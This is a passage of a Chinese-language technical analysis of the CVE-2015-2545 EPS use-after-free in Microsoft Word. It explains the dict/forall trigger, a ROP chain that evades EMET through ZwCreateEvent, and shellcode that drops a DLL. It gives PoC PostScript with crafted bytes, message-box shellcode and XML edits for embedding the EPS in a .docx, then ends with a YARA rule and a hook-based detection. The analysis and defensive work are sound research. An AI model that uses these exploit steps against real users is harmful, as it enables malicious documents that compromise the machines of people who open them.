3.5.11 pNext指向填充构造数据空间
观察下一次循环的数据布局情况如`图1`所示,`图1`断点<`EPSIMP32!RegisterPercentCallback+0x4664`>,经过第一个call的时候,则key与value都被更改成了我们构造好的数值如`图2`所示,此时的`pNext`为0也就是下一次不用循环了,其中key和value都被赋值了我们之前构造好的,其中的`0462e0b0`是之前释放空间前的数据,不是我们构造的所带的数据,这个数据可以说是个泄露的地址;其中我们从eps文件格式上面或者动态调试上面看也可以大概猜测 `00000500`为字符串类型
图1
图2
3.5.12 构造stirng类型长度为0x7ffffff及ROP PostScript代码
为了快速定位位置,我们可以在相应`memcopy`的位置下断点,这样方便我们定位数据的位置,构造出大小为0x7fffffff的可读写字符串空间。在该空间内作任意读写操作,做后续的处理(ROP/SHELLCODE),其中shellcdoe pe copy大小为`0x00000430`,和`0x0001a010`大小,通过`bytesavailable`跑`ROP`,其中`ROP`是直接通过PostScript语法来搜索得到的如`图2`所示。
图1(string类型字符串00000000-7ffffffff大小)
图2(搜索ROP链)
3.6 调试分析-ROP/SHELLCODE[第三个方向]
3.6.1 如何绕过EMET
Rop很简单,直接单步跟踪即可,指令都是EPSIMP32.FLT模块中的指令,单步跟踪观察即可,如`图1`所示,关于`0xd7`十进制`215`为NtProctectVirtulMemory函数的调用号码,可以通过`PChunter`这个软件打开SSDT表即可,如`图2,3`所示,这样做是为什么呢?我们继续往下面跟进观察如`图4`所示,跑到了`ZwCreateEvent+5`的位置了,这个位置一看就是要3环进0环的的地方,这就是绕过了EMET检测,由于EMET在系统的关键API进行了检测也就是`mov eax,调用号`这里进行了`jmp xxxx`检测,所以样本的做法为了绕过这个检测,就需要找没有被EMET hook的的函数,正好,ZwCreteEvent没有被hook那么就直接调用到这里来改我们的内存保护。
图1
图2
图3
图4
3.6.2 shellcode
Shellcode的功能主要为释放一个plugin.dll并加载执行。
4. POC/利用
关于POC,由于是forall中出现的问题,所以样本出现问题的位置:dict{}forall,并且其中只有copy才会触发漏洞所以POC的PostScript的语法是,这里列举的是伪代码。
dict {dict1 dict2 copy....} forall
----------------------------------------------------------------------------------
%%创建dict2并填充它
%%几个键值对
/ dict2 5 dict def
dict2 begin
/ k1 1000 array def
/ k2 1000 array def
...
dict2 end
%%创建dict1并填充它
%%一个键值对在k1
/ dict1 3 dict def
dict1 begin
/ k1 1000 array def
dict1 end
%%在dict2上开始forall枚举
dict2 {
dict1 dict2 copy
.......
0 <00000000ff0300000005000000000000000000002000e01303000000000000000000000044444444> putinterval
} forall
4.2 简易弹框
关于利用,纵观已知网上的cve-2015-2545的样本,用的利用方式都是在初期的样本模块上面进行加以改造,所以只需要对其shellcode的方面进行更改即可,`图1`则为更改样本弹出简单的对画框
<6A006A006A006A00B811EA2177FFD06A006AFFB8B51FFF75FFD090> putinterval
|
图1
5. Word插入EPS
Word在插入EPS格式文件之后,第一运行完其目录`wordmedia`中的`image1.eps`会变成`.wmf`格式文件,如果想每次都运行完`.eps`之后不会变成`.wmf`格式的文件,需要通过修改压缩包里面的一些内容即可,如`图1,2, 3`所示。
第一个文件:rels/document.xml 追加内容:
<Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="media/image1.eps"/<Relationship Id="rId9"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="ooxWord://word/media/image1.eps" TargetMode="External"/></Relationships>
图1
第二个文件:world/document.xml 追加内容:
<w:p><w:r><w:pict><v:shape style="width:1;height:1"><v:imagedata r:id="rId8" r:href="rId9"/></v:shape></w:pict></w:r></w:p>
图2
第三个文件:[Content_Types].xml:
<Default ContentType="application/postscript" Extension="eps"/>
6.漏洞防护
分析都调试完成,明白其漏洞发生的位置,那么我们需要去防御cve-2015-2545漏洞,防御可以分为两个方面来完成:
1.静态防御(yara规则)
2.动态防御
6.1 静态防御
6.1.1 github yara
1.GitHub上面有关于cve-2015-2545的yara规则检测,但是自己观看了一下,可以看出规则写的不像是针对eps/doc写的,而是对dll,exe进行的yara规则编写,自己进行测试,如下图所示。
图1(未检测出来样本)
图2(检测出来样本生成的文件)
6.1.2 自己写的yara
自己写关于eps的文件的检测,需要对其里面的eps文件规则进行检测,自己简易写的yara规则[针对的是EPS文件]如下`图1`所示,检测出来恶意构造的EPS文件。
/*
Yara Rule Set
Author: Boluo
Date: 2017年3月28日19:16:16
Identifier: CVE-2015-2545
*/
/* Rule Set ----------------------------------------------------------------- */
rule cve_2015_2545 : BASE
{
meta:
description = "Check The EPS File"
author = "Boluo"
date = "2017年3月28日19:16:16"
hash1 = "1f9b7d8e692a1c9fadbdd05b794e8c49502323b073b44becaae5eee5e2186fc4"
strings:
$s1 = {3C 30 30 30 30 30 30 30 30 66 66 30 33 30 30 30 30 30 33 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 34 34 34 34 34 34 34 34 30 30 30 35 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30}
condition:
$s1
}
|
图1(检测eps文件为恶意)
6.2 动态防御
动态防御通过hook两个点来进行防御,第一个hook点的位置为`pNext`进入PROC前其中0x28的内容保存一下,第二个hook点的位置为`pNext`在进入PROC后中0x28的内容是否发生变化进行hook,之后进行比较其内容进行判断即可,之所以不能在循环遍历删除的位置检测是因为PostScript中只要`dict1 dict2 copy`都会先把dict2的内容全部释放掉然后再申请空间,不能直观判断是否为cve-2015-2545类型漏洞样本,在释放空间的位置进行检测相当于给其打了补丁而不能直观检测为cve-2015-2545类型漏洞;测试结果如下图所示。
图1(动态检测)
7. 结语
该漏洞及利用样本的威胁程度非常高,可以在多种环境下成功利用,并且其构造的ROP链及shellcode能够绕过多款安全性增强工具的检测。所以需要做好防范工作。
8.参考资料
1.http://seclab.dbappsecurity.com.cn/?p=603 2.http://bbs.pediy.com/thread-216045.htm 3.http://bbs.pediy.com/thread-216046.htm 4.https://www-cdf.fnal.gov/offline/PostScript/PLRM2.pdf 5.https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf 6.https://github.com/Yara-Rules/rules/tree/master/CVE_Rules 7.https://wenku.baidu.com/view/55adb37c8e9951e79b8927ed.html |